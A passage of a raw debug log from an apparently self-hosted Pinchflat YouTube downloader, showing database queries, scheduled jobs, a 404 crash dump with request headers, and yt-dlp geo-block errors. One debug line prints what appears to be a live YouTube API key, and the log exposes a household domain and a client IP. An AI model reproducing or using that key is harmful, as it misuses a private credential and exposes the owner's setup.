(?1,?2,?3,?4) RETURNING "id" [3799841, 37, ~U[2026-02-10 21:50:31Z], ~U[2026-02-10 21:50:31Z]] 15:50:31.132 [info] {"args":{"id":37},"id":3799801,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1440406,"event":"job:stop","queue_time":66428,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:50:57.457 [info] {"source":"oban","duration":10575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.981 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:51:27.468 [info] {"source":"oban","duration":9915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:57.477 [info] {"source":"oban","duration":8021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.982 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:52:27.489 [info] {"source":"oban","duration":10850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:48.102 [info] GET /sources/93352545-e4c8-4fef-be42-ab095b3fa128/feed.xml 15:52:48.102 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "93352545-e4c8-4fef-be42-ab095b3fa128"} Pipelines: [:maybe_basic_auth] 15:52:48.103 [debug] QUERY OK source="sources" db=0.1ms idle=1224.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["93352545-e4c8-4fef-be42-ab095b3fa128"] 15:52:48.105 [debug] QUERY OK source="media_items" db=2.3ms idle=1224.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [41, 2000] 15:52:48.121 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1243.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [41] 15:52:48.122 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1243.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564177] 15:52:48.122 [info] Sent 200 in 19ms 15:52:57.498 [info] {"source":"oban","duration":7739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.983 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:53:27.509 [info] {"source":"oban","duration":10913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:57.518 [info] {"source":"oban","duration":7721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.984 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:54:27.526 [info] {"source":"oban","duration":7970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:57.323 [info] GET /sources/32/force_redownload 15:54:57.323 [debug] QUERY OK source="settings" db=0.1ms idle=445.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:54:57.323 [debug] QUERY OK source="settings" db=0.0ms idle=445.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:54:57.323 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:54:57.324 [error] #PID<0.21824.0> running PinchflatWeb.Endpoint (connection #PID<0.21823.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/32/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/32/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21823.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/32/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 59108}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15", "x-forwarded-for" => "46.211.92.15", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.211.92.15" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21824.0>, params: %{}, path_info: ["sources", "32", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15"}, {"x-forwarded-for", "46.211.92.15"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "46.211.92.15"} ], request_path: "/sources/32/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMBSlk-TuMdWjcACOBh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21823.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/32/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 59108}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15", "x-forwarded-for" => "46.211.92.15", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.211.92.15" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/32/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21823.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/32/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 59108}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15", "x-forwarded-for" => "46.211.92.15", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.211.92.15" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21824.0>, params: %{}, path_info: ["sources", "32", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozil (truncated) 15:54:57.534 [info] {"source":"oban","duration":7592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.985 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:55:27.543 [info] {"source":"oban","duration":7725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:57.553 [info] {"source":"oban","duration":10384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.031 [info] {"args":{"id":6},"id":3799802,"meta":{},"system_time":1770760560031262056,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:00.032 [debug] QUERY OK source="sources" db=0.8ms idle=1153.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 15:56:00.033 [debug] QUERY OK source="settings" db=0.6ms idle=1154.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.034 [debug] QUERY OK source="media_profiles" db=0.8ms idle=1009.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:00.034 [debug] QUERY OK source="settings" db=0.6ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.034 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 15:56:00.034 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.034 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:00.179 [debug] QUERY OK source="media_items" db=0.5ms idle=146.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 15:56:00.180 [debug] QUERY OK source="settings" db=0.1ms idle=147.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.180 [debug] QUERY OK source="settings" db=0.0ms idle=146.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.180 [debug] Running yt-dlp command for action: get_media_attributes 15:56:00.182 [debug] QUERY OK source="settings" db=0.0ms idle=147.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.182 [debug] QUERY OK source="settings" db=0.0ms idle=147.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.183 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:00.183 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/fd/7d/fd7d98b484571e57bcbc030d87b5de72086e596a9ace3c1f2e7e10747062fb18.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:00.986 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:56:01.525 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/fd/7d/fd7d98b484571e57bcbc030d87b5de72086e596a9ace3c1f2e7e10747062fb18.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:56:01.526 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:56:01.526 [debug] QUERY OK source="settings" db=0.2ms idle=1343.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:01.526 [debug] QUERY OK source="settings" db=0.0ms idle=1343.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:01.526 [debug] Running yt-dlp command for action: get_media_attributes 15:56:01.531 [debug] QUERY OK source="settings" db=0.0ms idle=1348.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:01.531 [debug] QUERY OK source="settings" db=0.0ms idle=544.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:01.531 [debug] QUERY OK source="settings" db=0.1ms idle=505.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:01.531 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7a/41/7a41284b826abbe7018dc07f11ef3494f5e99395de33d4e4794fd85ee3298e61.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:03.089 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7a/41/7a41284b826abbe7018dc07f11ef3494f5e99395de33d4e4794fd85ee3298e61.json --windows-filenames --quiet --cache-dir 